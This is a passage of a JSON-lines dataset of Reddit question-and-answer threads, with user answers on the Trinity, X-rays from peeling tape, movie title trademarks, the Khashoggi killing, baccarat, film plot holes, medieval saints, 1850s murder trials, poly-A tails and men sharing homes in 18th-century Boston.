Am an agnostic theist*\n", "Someone once explained it to me like this. God is like an egg. The egg has 3 parts. The shell, the yolk and the egg white. 3 district and different parts with 3 different functions but never the less, all still an egg.", "The ELI5 explanation I've heard before is that God is like a banana. When you peel a banana and run your finger through it from one side (Not really sure how to explain it) you can [split it into three equal parts](_URL_0_). It's all the same one banana, but three equal parts. \n\n\n", "The church worships what Jesus did for us on cross. He died for everyone's sins! But like others are saying he is apart of the God head", "Tl;dr: What the Church teaches and what the Bible teaches are two different things. What the church teaches is riddled with traditions, pagan influences and inconsistencies. What the Bible teaches however is clear and simple.\n\n\nThe wall of text part:\n\n\nWhat the Bible teaches is that there is an almighty God whose name is Jehovah, or Yahweh if you prefer. I will write Jehovah for God/the Father to make a clear distinction. Even the generally lousy King James version admits this is God's name:\n\n\nPsalms 83:18 \u2014 That men may know that thou, whose name alone is JEHOVAH, art the most high over all the earth.\n\n\nThe bible also teaches that the first thing Jehovah created was a spirit son who became known as Jesus (Hebrew Ye\u00b7shu\u2032a\u02bd or Yehoh\u00b7shu\u2032a\u02bd which by the way means \u201cJehovah Is Salvation\u201d) \n\n\nColossians 1:15 \"He is the image of the invisible God, the firstborn of all creation;\" \n\n\nAn image of something connotes likeness, not sameness, the same way a son may look or act like his father but is not the same person. Also, being firstborn of all creation means Jesus was born, has a beginning, was created. As opposed to Jehovah who has no beginning. (See Psalms 90:2)\n\n\nThe Jews only worshiped Jehovah and Jesus did not change this. Christianity is a monotheistic religion.\n\n\nDeuteronomy 6:4 \u2014 \u201cListen, O Israel: Jehovah our God is one Jehovah.\n\nMark 12:29 \u2014 Jesus answered: \u201cThe first is, \u2018Hear, O Israel, Jehovah our God is one Jehovah,\n\n\nHowever, several centuries after Jesus died and the Bible was finished, corrupt church leaders introduced pagan doctrines like the doctrine of trinity in order to win favor with non believers. The trinity teaching was completely foreign to both Jews and Christians in the first centuries.\n\n\nLet's see what the Bible teaches about the sameness of Jehovah and Jesus:\n\n\nIn John 14:28 Jesus clearly says: \"my Father is greater than I.\"\n\n\nDoesn't really get any clearer than that. Why did Jesus refer to Jehovah as his father? If they were somehow equal, why not refer to him as his brother? No, he consistently emphasizes the difference between them.\n\n\nIn Mark 13:32  he says \"But of that day and that hour knoweth no man, no, not the angels which are in heaven, neither the Son, but the Father.\"\n\n\nIf the father and the son are the same, how could the father possibly know something that the son didn't? (Also notice the holy spirit is never mentioned.)\n\n\nNow some trinity apologists would claim that Jesus on earth was somehow different than Jesus in heaven. Well, let's see what the Bible says about Jesus in heaven:\n\n\n1 Corinthians 11:3 \u2014 But I would have you know, that the head of every man is Christ; and the head of the woman is the man; and the head of Christ is God.\n\n\nHow can two be the same person when one is the head, or authority, over the other? The man and the woman mentioned are not the same person, are they?\n\n\n1 Corinthians 15:27,28 \u2014 27 For God \u201csubjected all things under his feet.\u201d But when he says that \u2018all things have been subjected,\u2019 it is evident that this does not include the One who subjected all things to him. 28 But when all things will have been subjected to him, then the Son himself will also subject himself to the One who subjected all things to him, that God may be all things to everyone.\n\n\nCumbersome explanation, but basically the hierarchy is: Jehovah - Jesus - everything else.\n\n\nMatthew 26:39 \u2014 And he went a little further, and fell on his face, and prayed, saying, O my Father, if it be possible, let this cup pass from me: nevertheless not as I will, but as thou wilt.\n\n\nIf the Father Jehovah and the Son Jesus were not distinct individuals, such a prayer would have been meaningless. Jesus would have been praying to himself, and his will would *of necessity* have been the Father\u2019s will.\n\n\nRevelation 3:12 \u2014 Him that overcometh will I make a pillar in the temple of my God, and he shall go no more out: and I will write upon him the name of my God, and the name of the city of my God, which is new Jerusalem, which cometh down out of heaven from my God: and I will write upon him my new name.\n\n\nHere Jesus, in heaven, refers to Jehovah as \"my God\". Why? Because Jesus also worships Jehovah. \n\n\nLuke 4:8 \u2014 In reply Jesus said to him: \u201cIt is written, \u2018It is Jehovah your God you must worship, and it is to him alone you must render sacred service.\u2019\u201d\n\n\nPrayer (and any worship) should only be directed to Jehovah God. Worshipping Jesus as a part of a trinity is therefore an act of idolatry.\n\n\nJohn 14:6 \u2014 Jesus saith unto him, I am the way, the truth, and the life: no man cometh unto the Father, but by me.\n\n\nJesus is the way to Jehovah, but a way is not the same thing as the destination. He is the mediator between men and God, but what would be the point of a mediator if he was God himself?\n\n\nThere are so many ways in which the doctrine of trinity does not conform to the Bible that I can not mention them all here. These are just a few examples. Moreover the trinity doctrine just does not make any sense and I have never met anyone who can explain it. \n\n\nIn Romans 12:1 it says our service should be that of reason, in Greek: logik\u00f3s. In other words worship should be logical. So a christian should not accept such an illogical doctrine.\n\nEd: formatting", "Theologians use a word called perichoresis (Greek, with peri which means 'around' and choresis is which means 'to give room' or 'make way' - think dancing), to explain the concept that the Trinity of God are discreet and separate beings, but whom are always working in perfect harmony, with the same goals in mind, in the same way observing a circular dance makes it impossible to tell how many people are circling, and the way the dancers can appear to be just one (if they were moving quickly enough). Genesis 1 tells us that in the beginning was God (the father), and the word was with God (the son), and mentions the spirit hovering over the surface of the water (see Genesis 1). Its also worth noting that when they create humans the text reads \"let US create man in OUR image, and with OUR likeness...\" (Genesis 1:26, emphasis added). Jesus coming to earth in human form was so he could relate fully with his creation, and help us understand God better - he wanted to reveal himself to us. During this time he was both fully man and fully God (which is a bit of a mind job), and he demonstrated both his independence and harmony with the rest of the Trinity. You can see this in the way Jesus prays to God asking that \"this cup be taken from me\", and then ending with \" but your will be done\". This was in his prayer the night he was taken and tortured, with the cup being his crucifixion (which he knew was coming because he was fully God), and Gods will being Jesus' will too (he was willing to have a humiliating death in order to save humankind - the reason he came as a man to begin with).\nI hope that's somehow helpful... I've taken a few theology courses over the years but I just wrote this on a phone while in a lecture,so apologies if it's a bit shite"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.biblegateway.com/passage/?search=Philippians+2%3A5-7&amp;version=KJV", "https://www.biblegateway.com/passage/?search=Luke+4%3A8&amp;version=KJV", "https://www.biblegateway.com/passage/?search=Deuteronomy+6%3A4&amp;version=KJV"], [], ["https://www.youtube.com/watch?v=gJOZ0iAFcEE"], [], [], []]}
{"q_id": "7ktmwe", "title": "how peeling scotch tape in a vacuum creates radiation.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ktmwe/eli5_how_peeling_scotch_tape_in_a_vacuum_creates/", "answers": {"a_id": ["drh6flh", "drhxyjp", "dri72ky"], "score": [751, 15, 13], "text": ["The phenomena is triboluminescence.  It's not entirely understood by science, but what we think is happening is that when the tape is peeled, it creates charge (e.g. one surface keeps an electron when they're ripped apart).  That charge quickly recombines, which--in air--ionizes the air and makes light.  Absent of air, it seems the charge leaves as X-rays.", "The adhesive in tape is an amorphous liquid and is mostly held together by covalent bonds. These bonds consist of electron pairs and together they are in equilibrium. When you break such a bond they will adjust to the new situation and lose the bond energy which is converted to light.", "X-rays come from high voltage in a vacuum, where any flying atoms aren't stopped by air.  Charged atoms and free electrons are always present, and they always speed up because of high voltage (because of electrical forces.)  In air, this barely can happen, because flying particles are mixed in and become part of the air.  (We can't create 10,000KPH wind.  But it's easy to create 10KPH individual atoms.)  \n\nWhen in a vacuum, single particles stay alone, and they don't create any wind when moving.  Without the air-drag, they can speed up enormously.  They can impact surfaces with extreme energy, and they spit out x-rays during those collisions.  So, to make some penetrating radiation and x-ray photos, we just need some high-voltage well above roughly 15,000V (above 30KV is even better.)  Rug-scuffing can't do this.   We'd need a VandeGraaff or a Wimshurst generator, or a step-up transformer with an extreme voltage step-up ratio.  (Back in 1910, hospitals were using Wimshurst generators to power their x-ray machines.  VandeGraaffs and HV transformers came later.)\n\nSo, a vacuum chamber always gives us an accidental, unexpected x-ray tube.   Just apply some high enough voltage inside it.\n\nBut with tape-peeling, where does the high voltage come from? This was discussed in a 1994 Science News article: [In the peel zone: Tape's electric gooeyness](_URL_1_)\n\n*\"Peeling a strip of adhesive tape off a smooth surface is a violent process. As the adhesive stretches into strands, or fibrils, that suddenly snap apart, electrical activity is generated at the tape-surface juncture, often accompanied by a flickering glow visible in a darkened room.\"*\n\nPeeling tape creates opposite charges, with the adhesive charging with one polarity, and the tape-back getting the opposite polarity.  (This is the \"tribo\" effect which is poorly understood.)   When peeled, tape can generate some tiny sparks and create a couple thousand volts ...when in air.   \n\nWhen in vacuum, the sparks are gone.  The sparks were conductive, and were shorting out the opposite charges.  With no air and no sparks, the opposite charges just keep growing higer.  The tape's voltage rises over 10x higher when in vacuum.   Rather than a slight blue glow, the tape gives off a slight glow made of high-energy EM emissions: x-rays.\n\n**tldr;**  in vacuum, sparks are impossible.  (Sparks are plasma, air-plasma.)   Remove the sparks, and your tape-peeling creates 30,000V rather than just two or three thousand volts.\n\nFor the non-five readers: they referenced this research paper: [1994 JT Dickinson Fracto-emission and electrical transients due to interfacial failure](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.tandfonline.com/doi/abs/10.1163/156856194X00618", "https://www.google.com/search?q=in+the+peel+zone+tape%27s+electric+gooeyness"]]}
{"q_id": "4gpdji", "title": "can movie companies hijack each other's movie titles?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gpdji/eli5_can_movie_companies_hijack_each_others_movie/", "answers": {"a_id": ["d2jig4j", "d2jivd8", "d2jk4lg", "d2jlrzq", "d2jqs2r", "d2jv9tz", "d2jw1mr"], "score": [2, 86, 7, 4, 2, 2, 2], "text": ["Copyright and Trademark law makes this illegal.  The name \"God's not dead 3\" would be a violation of the mark and copywritten of \"God's not dead\" indicates derivative work.  If the name is sufficiently generic and no relationship exists between films stories - or if the original copyright is out of the required timeframes, or if the original copyright holder grants permission then it's a non-issue (e.g \"room\" and \"the room\", etc.).\n\nedit:spling", "You can't copyright movie titles, but you can trademark them. A copyright would allow you to control the rights to use a particular title, whereas a trademark indicates that a title is associated with your product in a certain industry. Generally you can use a similar trademark as long as it wouldn't cause confusion among consumers. Factors that go into considering whether a similar trademark would be confusing include how similar the trademark is, whether the product is in the same industry, and how unique the mark is. \n\n\"Room\" is a very common word and short title, so there's not really a problem with using that. People understand that two movies named \"Room\" or \"War\" or \"The Killer\" are likely entirely different. However, more unique, etablished names are treated differently. For example, you probably couldn't get away with \"Star Wars: The Spacening\" since people expect a Star Wars movie when they see \"Star Wars\" (also, the trademark for Star Wars is registered, which gives it extra protection).\n\nYour \"God's Not Dead\" example is pretty on the line. I think for a movie, it's unique enough that you wouldn't want to risk it. But a book might be okay. That's the sort of situation where you would want to talk to an attorney who has experience with these sorts of things.", "It would be a trademark issue.\n\nIf you could show that consumers were likely to be confused and think the new movie was related to your movie, then you can legally enforce that trademark.\n\nA title like \"Room\" is going to be too generic for an enforceable trademark.", "Copyright covers creative expression.\n\nThe Room example is fine because \"room\" is a very common word and not a unique or original name.  People do not confuse these movies if they put an ounce of effort or prior knowledge into it.\n", "To go along with this; How does [The Asylum](_URL_0_) get away with what they do? ", "Here's a really good example of what some other people had mentioned regarding movie titles as copyright/trademarks. \n\n_URL_0_\n\nTL;DR: Because the copyright symbol was mistakenly left off the title card of Night of the Living Dead, the film became public domain. ", "Different industry, but this happened to Dr Dre with his second album 2001. He wanted to call it the Chronic 2000, and was promoting the title in his tracks.\n\nSuge Knight released an album before he could called The Chronic 2, which was a diss album about Dre. Thats how we got to 2001 which had a Chronic  leaf as the art.\n\n_URL_1_\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.m.wikipedia.org/wiki/The_Asylum"], ["https://en.wikipedia.org/wiki/Night_of_the_Living_Dead#Copyright_status"], ["https://en.wikipedia.org/wiki/2001_(Dr._Dre_album)#Title", "https://en.wikipedia.org/wiki/Suge_Knight_Represents:_Chronic_2000"]]}
{"q_id": "9phkxv", "title": "who is khashoggi and why is his murder so relevant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9phkxv/eli5_who_is_khashoggi_and_why_is_his_murder_so/", "answers": {"a_id": ["e81ua40", "e81uykl", "e81vx6s"], "score": [11, 9, 4], "text": ["He was a journalist critical of the Saudi Arabian government. As the Saudi government was angry with his writing he took up residence overseas, only returning to a Saudi consulate in Istanbul to get a document allowing him to marry a Turkish citizen.\n\nInstead a team of Saudi agents killed and dismembered him. This is relevant because not only is it generally frowned upon to murder your own people, it is extremely poor form to do so in other countries in a place designated for diplomatic functions while their fiancee waits for them outside.", "He was a Saudi Arabian journalist that was a critical of the regime.\n\nHe walked into the Saudi embassy (in Istanbul) to pick up papers for a wedding, and never came out. \n\nThere is mounting evidence that he was brutally murdered and dismembered  in the embassy by  Saudi agents.\n\nIt is relevant because the US has strong ties to Saudi Arabia although their human rights abuses are well known. \nButchering critical journalists in your embassy is a line they crossed that upset a lot of countries and might lead to Saudi Arabia being more isolated internationally.\n\nIt's also relevance for how Trump will react to it. He has not been supportive of critical press, but now the world is looking at him to see how he handles a murdered journalist.\n\n", "The \"relevance\" is the really complex part here. Saudi Arabia is responsible for all sorts of human rights abuses within the country. It's also fighting a war in Yemen that includes quite a lot of bombing of civilian targets, and may lead to the \"world's worst famine in 100 years\". And it's done all sorts of other bad stuff.\n\nSo why is this particular incident getting so much attention?\n\nFirst, he was a journalist based in the US. Not a US citizen, but someone the US government would traditionally take a degree of responsibility for, and someone known by people - influential people - in the US.\n\nSecond, it's a very graphic incident involving an individual, making it easy for people to empathise with. The deception by Saudi, promising Jamal Kashoggi safety before murdering him, makes it particularly powerful.\n\nThird, and perhaps most importantly, it happened within the territory of another country (the embassy itself is Saudi territory, of course). A country that is powerful in its own right, and has some competing interests with Saudi. Turkey has the means to give a detailed picture of what happened, and it's not easily bullied into silence.\n\nSo the US isn't the only important actor here. There's a question over how much information *Turkey* will release, how much pressure it wants to put on Saudi Arabia, and what concessions it wants in return.\n\nOther countries will also be thinking about what Saudi might do in their territory. How many are going to look at their Saudi embassy with a lot more suspicion and concern, knowing that people might walk off their peaceful streets into the embassy and never come out?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "n7yij", "title": "baccarat", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/n7yij/eli5_baccarat/", "answers": {"a_id": ["c36zw79", "c36zw79"], "score": [9, 9], "text": ["There are a several different version of Baccarat. The only kind you can play in America is against the house, but \"player vs. player\" versions exist in Europe, and that's the version you usually see in the movies (Goldeneye, for example). The European version also has a big paddle.\n\nBeing an American who has never been to Monaco, I can only tell you how it's played here.\n\nThe trick is to make a better hand the house, with the same idea as blackjack (getting as close to possible to a certain number), except the goal number is \"9\" and the way cards are dealt and counted is different.\n\nThe trick is to remember that every number in the game only counts as its LAST DIGIT. For example, Aces in blackjack count as 11 or 1, but since the last digit of 11 is 1, it only gets counted as 1 in baccarat. Same with 10s and facecards - they count as 10 in BJ, but as a 0 in baccarat.\n\nFor this reason, adding 5+6 in Baccarat gets you a 1.\n\nPlace your chips on either \"player/punto\" or \"house/banco\"- that lets the dealer know which hand you're betting on. Both hands (punto and banco) get 2 cards. A 9 or an 8 gives a hand an instant-win, except when both hands have them, when an 9 beats an 8. (Afrobandit says a 9 is a natural, but an 8 is too.) Ties result in a push, unless you actually bet that tie would happen (I forget how much that pays, but I don't think it's worth it.)\n\nFrom there, a hitting/standing situation applies just like in BJ, except the rules of when to deal/stand are more complicated because (unlike blackjack), you can bet on the house's hand, has a small advantage over the player's. (See how it's getting weird?) You are not allowed to draw if you have a 6 or 7, though. Also, you can only draw one card, instead of drawing until your hand is made. Most baccarat is played with mini-baccarat rules, which has the house do all the drawing for the player, the player just sits and watches. \n\n", "There are a several different version of Baccarat. The only kind you can play in America is against the house, but \"player vs. player\" versions exist in Europe, and that's the version you usually see in the movies (Goldeneye, for example). The European version also has a big paddle.\n\nBeing an American who has never been to Monaco, I can only tell you how it's played here.\n\nThe trick is to make a better hand the house, with the same idea as blackjack (getting as close to possible to a certain number), except the goal number is \"9\" and the way cards are dealt and counted is different.\n\nThe trick is to remember that every number in the game only counts as its LAST DIGIT. For example, Aces in blackjack count as 11 or 1, but since the last digit of 11 is 1, it only gets counted as 1 in baccarat. Same with 10s and facecards - they count as 10 in BJ, but as a 0 in baccarat.\n\nFor this reason, adding 5+6 in Baccarat gets you a 1.\n\nPlace your chips on either \"player/punto\" or \"house/banco\"- that lets the dealer know which hand you're betting on. Both hands (punto and banco) get 2 cards. A 9 or an 8 gives a hand an instant-win, except when both hands have them, when an 9 beats an 8. (Afrobandit says a 9 is a natural, but an 8 is too.) Ties result in a push, unless you actually bet that tie would happen (I forget how much that pays, but I don't think it's worth it.)\n\nFrom there, a hitting/standing situation applies just like in BJ, except the rules of when to deal/stand are more complicated because (unlike blackjack), you can bet on the house's hand, has a small advantage over the player's. (See how it's getting weird?) You are not allowed to draw if you have a 6 or 7, though. Also, you can only draw one card, instead of drawing until your hand is made. Most baccarat is played with mini-baccarat rules, which has the house do all the drawing for the player, the player just sits and watches. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1vuo9w", "title": "how come there are often some very obvious and jarring plot holes in big budget movies with hundreds of people working on them?", "selftext": "And most of the time they're easily fixable.\n\nDidn't anyone notice? Is everyone afraid of the few guys in charge and won't say anything? Do they notice, but believe that most viewers are too dumb to care? Any other explanations left?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vuo9w/eli5_how_come_there_are_often_some_very_obvious/", "answers": {"a_id": ["cevxopv", "cevzl3i", "cew01w1", "cew12ve", "cew17lb", "cew2r6a", "cew4xsp", "cew9iod"], "score": [11, 8, 15, 2, 4, 2, 2, 4], "text": ["Would help if you provide an example.\n\nMany \"plot holes\" are just things that get left behind in order to make the story/events more powerful.  Movie-makers rely on something called the \"willful suspension of disbelief\" to make that work.\n\nWillful suspension of disbelief just means that people *want* to be entertained by the movie, and are willing to ignore plot holes and the like if the movie is entertaining enough.", " >  And most of the time they're easily fixable.\n\nThat depends very much when they are noticed. If they are spotted when the scriptwriter presents their screenplay to the director, then the director can send the scriptwriter away for a rewrite, and no more than a day or two is lost. If the plot hole doesn't come to light until post-production, then it could cost millions to put it right. Furthermore, if it's the guy who makes the tea who spots a plot hole, he isn't likely to have much influence on the director, and the director might not care enough about it in any case.", "Some if not most is editing related. There might be a scene that further explains that reference or why that character said what they said but it gets edited out before the release. \n\nUsually this is studio pressure to shorten a movie or the editor never talked with the director (Also an issue on very large sets, director gets paid and peaces out). ", "Big budget movies are written and conceptualized as scenes. We need a robot fighting scene, we need a montage scene, we need a love scene, etc. The writing of everything around those scenes, then, is just a vehicle to arrive at those scenes, like an amusement park ride.\n\n\"Save The Cat\" by Blake Snyder is pretty much the template for big budget movies. Smaller budget movies are less about the spectacle and have characters that behave more rationally in the movie's fictional world because the goal there is NOT to instigate specific scenes that would be good for the trailer.", "Incentives. \n\nYou release a big-budget, flashy movie with A-list actors that's a complete thrill ride to watch and gets millions into the theaters. \n\nOops, a nerdy fan finds that this escape from reality isn't 100% realistic. \n\nSo you have to refund the tickets? Uh, no. Deal with a lawsuit over deceptive movie plot or advertising? No. People will boycott the next movie over crappy plots? Hah. \n\nWhat's the negative consequence? There isn't one, so they don't look to hard to find and remove them. ", "Hey! One I might be able to help with...\n\nOkay, so writing and storytelling can be a hard thing to do. Strangely, proof reading is one of the more difficult aspects of writing. The same goes with auditing a story, it's very similar to proof reading.\n\nSo why is proof reading so hard? A variety of reasons. It can be an expensive process that involves a few people. A standard journalism article can have as many as 3 or 4 people reading 1 article looking for errors. And guess what? They still miss them! In fact, the NY Times had an error on their front page FOR OVER A CENTURY! _URL_0_\n\nWhen auditing a story for continuity, ease of understanding, etc., a lot of the same issues come into play. You have a group of people reading a work (or viewing a work) and they're seeing in different forms. Different drafts. Different edits. After a long enough period of time, the people on the project have a harder time noticing out of place things.\n\nFor a more \"scientific\" explanation, that's going to be a little harder. I've looked in the past and haven't seen any studies looking into why editors/writers/storytellers miss plot holes, grammar mistakes, etc. If I had to guess, it probably has something to do with selective attention (i.e. that Gorilla Experiment video) in that there is a lot going on when you're making a movie or writing a book. You're focusing on particular elements, and fail to notice that something else is wrong.\n\ntl;dr They are unavoidable in almost any artistic project. I imagine there are some scientific reasons for it, but I haven't seen or heard any.", "movies aren't filmed in sequence and a lot of those hundreds of guys working on a film could be lighting techs, cg artists or even just marketers who never have access to the whole script to detect error. Hell they might not even be on set when when it's being filmed! As to why the directors/writers or producers dont spot these errors, I dont know, but there tend to only be a few people who see the whole picture on any type of large project.", "it's important to realize that there are very few people with a global view. scenes are shot out of order and over multiple years, dialogue is changed on the fly by writers, actors, and directors for innumerable reasons. editors have to cut things down to 90 minutes, the list goes on and on. \n\nso suppose you're in charge of everything. you just got done with a scene somewhere in the middle. are you really going to remember that the exact number of troops they had in the finale scene you shot 18 months ago was different from the number the actor just said?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://newsfeed.time.com/2014/01/16/the-numbering-error-on-new-york-times-front-page/"], [], []]}
{"q_id": "3pev82", "title": "How common were saints believed to be in medieval Europe?", "selftext": "Did the average person expect to meet a future saint within their lifetime, or were they considered to be rare (maybe once a generation in Christian Europe as a whole, for example)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pev82/how_common_were_saints_believed_to_be_in_medieval/", "answers": {"a_id": ["cw6voaw"], "score": [2], "text": ["Ordinary people could expect to meet a saint though it would not be an everyday thing.  More commonly, they could  expect to meet a saint soon after that \u201csaint\u2019s\u201d death. Sainthood was more an ascribed than an achieved attribute through most of the Middle Ages. Anyone who died an untimely, violent, or heroic death might be popularly declared a saint locally. The twelfth-century scholar monk Guibert of Nogent reported the case of a young boy who, purely because he died on Easter day, was considered a saint by locals, who even erected a tomb for him and claimed miracles happened there. Another man\u2014\u201cSt. Pyro\u201d\u2014 fell down a well dead drunk and was deemed a saint. Radegonde of Wellenberg was a young girl known for her charity to the poor. When she got eaten by wolves on her way to visit lepers, she was declared a saint locally. I could multiply examples. Most famously\u2014notoriously?\u2014would be [St. Guinefort](_URL_0_), a greyhound venerated by locals near Lyon after his master wrongfully killed him.\n\nBut more germane to your question, living people could be considered shoo-ins to be saints. Francis of Assisi and Marie d\u2019Oignies were both regarded as living saints. People rushed to touch Francis\u2019 garments to be healed, for example. Even Joan of Arc seems to have been considered a saint. People wanted to touch their rings to hers to gain favor. Some women asked her to come pray for a dead baby who, once she prayed, seemed to momentarily come back to life long enough to be baptized. Few of these local saints ever passed muster of Rome, which codified procedures for canonizing saints in 1234 and by the fourteenth century was very zealous in investigating claims of sainthood.\n\nCheck out Andre Vauchez\u2019s *Sainthood in the Later Middle Ages* for more details.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Saint_Guinefort"]]}
{"q_id": "1ptufx", "title": "If I lived in a northern state in 1850 (say ...New York if matters which one) and I murdered a free black man in cold blood, is it likely that I'd actually be put on trial for it?", "selftext": "Edit: I'm a white man ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ptufx/if_i_lived_in_a_northern_state_in_1850_say_new/", "answers": {"a_id": ["cd64q1i", "cd69jjt"], "score": [342, 45], "text": ["Probably - the truth is you likely would in the South as well. But it's important to remember how touch and go law enforcement was in most places at this time, and that the punishments would vary wildly.\n\nBy way of example, in *Souther v. Commonwealth*, 7. Gratt. 671 (Va. 1851), the Virginia Supreme Court affirmed a conviction of a man who murdered his own slave.  Now bear in mind, the man actually tied this slave to a tree, beat him, burned his genitals, rubbed red peppers on his wounds, and then kicked him to death once he was untied.  He was convicted of second degree murger and senteced to five years, despite the brutality of the crime.  The court paid some lip service to the idea that a person punished a slave \"at their own peril,\" but frankly a five year sentence for such a heinous crime was ludicrous at this time.  \n\n*State v. Hoover*, 4 Dev. and Bat. 365 (N.C. 1839) is another case dealing with the murder of a slave.  This owner was actually sentenced to death.\n\nNow as far as the murder of a free black in the North is concerned it would probably all depend on the where, how, and why.  For example, Indiana was a very racist state.  I would hazard to guess that if someone killed a free black in Indiana in 1850 that, depending on the context, the killer may get a pass.  But as an overall answer to your question, I would have to assume that based on the legal record that killing a free black in cold blood would get you put on trial.  Even if it was in the south.\n\nEDIT - See my recent answer on methods of law enforcement in colonial times.  That answer would be true for this as well.", "In antebellum South Carolina, Judge O'Neil ruled that beating a free black man in the street, with no provocation, was illegal. The white man who did so had to apologize and pay a fine. O'Neil himself was pretty racist, and said that if the black man had given offence the beating would have been perfectly okay, but that it was simply wrong to beat blacks with no provocation. So no. You can't just gun down free blacks in the street.\n\nSource: *Black Slaveowners* by Larry Koger, a pretty eye-opening book on race relations and slavery prior to the civil war. I also highly recommend *Black Masters* by Johnson and Roark"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1g5d6w", "title": "Why do some mRNA have Poly-A tails while others do not?", "selftext": "I understand that the vast majority of mRNAs have a poly A tail attached which serves to protect against degradation. However, I also understand that poly A tails are not necessary for some mRNA molecules to avoid degradation and be translated into proteins. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1g5d6w/why_do_some_mrna_have_polya_tails_while_others_do/", "answers": {"a_id": ["cah2tdv"], "score": [3], "text": ["All mRNAs have a poly-A tail except for a few mRNAs that specify replication-dependent histones (the structures that wrap DNA). They, instead, have a weirdo stem-loop structure on their tail end that recruits several specific factors and mediates the cutting of the mRNA. I'm not sure what the reason for this is - there are other histones expressed throughout the cell cycle that DO have polyadenylation. My guess it is has something to do with controlling the timing of replication."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4it752", "title": "Would it have been inappropriate for two men to live together in late 18th century America?", "selftext": "I'm writing a novel, part of which is set in Boston during and after the revolutionary war. Obviously I'm doing a lot of my own research but I've hit a bit of snag here as all I've been able to find is about 'Boston Marriages' between women at much later date. \n\nThe characters are two 'close friends' who both served together during the war. One is a widower with school age children the other is unmarried and recently left the army. Would it be scandalous in the time period for them to live together as friends?  (The time period is somewhere between 1785-1800)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4it752/would_it_have_been_inappropriate_for_two_men_to/", "answers": {"a_id": ["d31ewe1", "d31glxj"], "score": [3, 11], "text": ["Not particularly.\n\nI had a professor who would say that \"nobody had a lifestyle before 1975,\" at least when we tried to put modern connotations on historical lives. In that sense, there wasn't a culture of gay men living together openly, as romantic partners, so men living together would not be presumed to be gay.\n\nFinances and social status would of course, play some role in this. Like now, you don't come off as a bigshot if you're living on a friend's couch. But it may have been a practical necessity from time to time, regardless. And wealthier people had live-in staff in multiple roles; the unmarried veteran could be a tutor or something if necessary.", "Are they in a private house shared together (with or without servants) or in a *boarding house* together? I'm not sure former would be normal, but the later was quite normal. James Buchanan, the America's only bachelor president, lived 1834-1844 in a boarding house with his close friend (and, by some accounts, lover) William Rufus King.  The amount of time they spent together and their particularly close relationship caused some eyebrows to be raised (or, at the very least, some jokes to be made), but their living together in a boarding house wasn't seen as particularly strange, I don't think. Buchanan's situation might be an entry point into research of how two men living together in very very roughly your time period (fifty years later) was possible. \n\nHowever, I'm not sure if single men regularly lived alone without servants. There was a strong sexual division of labor in the 18th century, meaning that many of the laborious household tasks (cooking from scratch, doing laundry by hand, cleaning without a vacuum all take a considerable amount of time) were most often done by women: either family members, paid help, or a proprietress of a boarding house. This is a century later, but Sherlock Holmes and Watson famously live together in a boarding house. Horatio Alger's stories also commonly feature boarding houses, and one of my favorite novels, Pere Goriot, focuses largely on the residents of a Parisian boarding house. However, these are all 19th century examples and I can't think of any ready examples from the 18th. \n\nChildren, however, complicates the matter--I don't know whether it was at all common for men to raise children without a female presence in an urban (rather than agricultural or frontier) environment. That's not to say it didn't happen, but rather all these cases I can think of of widowers with children tend to quickly remarry--I can't give an exhaustive list, it was just always my impression and surprised me to see \"wife died in year N; remarried in year N+2.\" Again, I always attributed this to the strong sexual division of labor. I imagine the cases where a widower didn't quickly remarry were case where he had another woman in his life--a sister, aunt, female cousin to live with him; a daughter old enough to take on the household tasks; hired help--to do the copious \"women's work\" required in running a household. With children, women's work was not just the physical labor of cooking, cleaning, sewing and mending, but also the emotional labor of raising children up right. They were to be, in many ways, the moral center of the household. That ideology (woman as \"Angel of the House\", imbued in a \"culture of domesticity\", head of her own \"separate sphere\") really developed in the mid-19th century, but I don't wonder if there were traces of it already in the late 18th, especially in conservative Boston. \n\nI'm not positive, but I think men raising children without a woman would raise more eye brows than a man boarding with the family of a close friend. Obviously, you could make it a plot point, having other characters say, \"Don't you think you should find a new mother for your children?\" all the time, but that's something else to look out for in researching this era.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
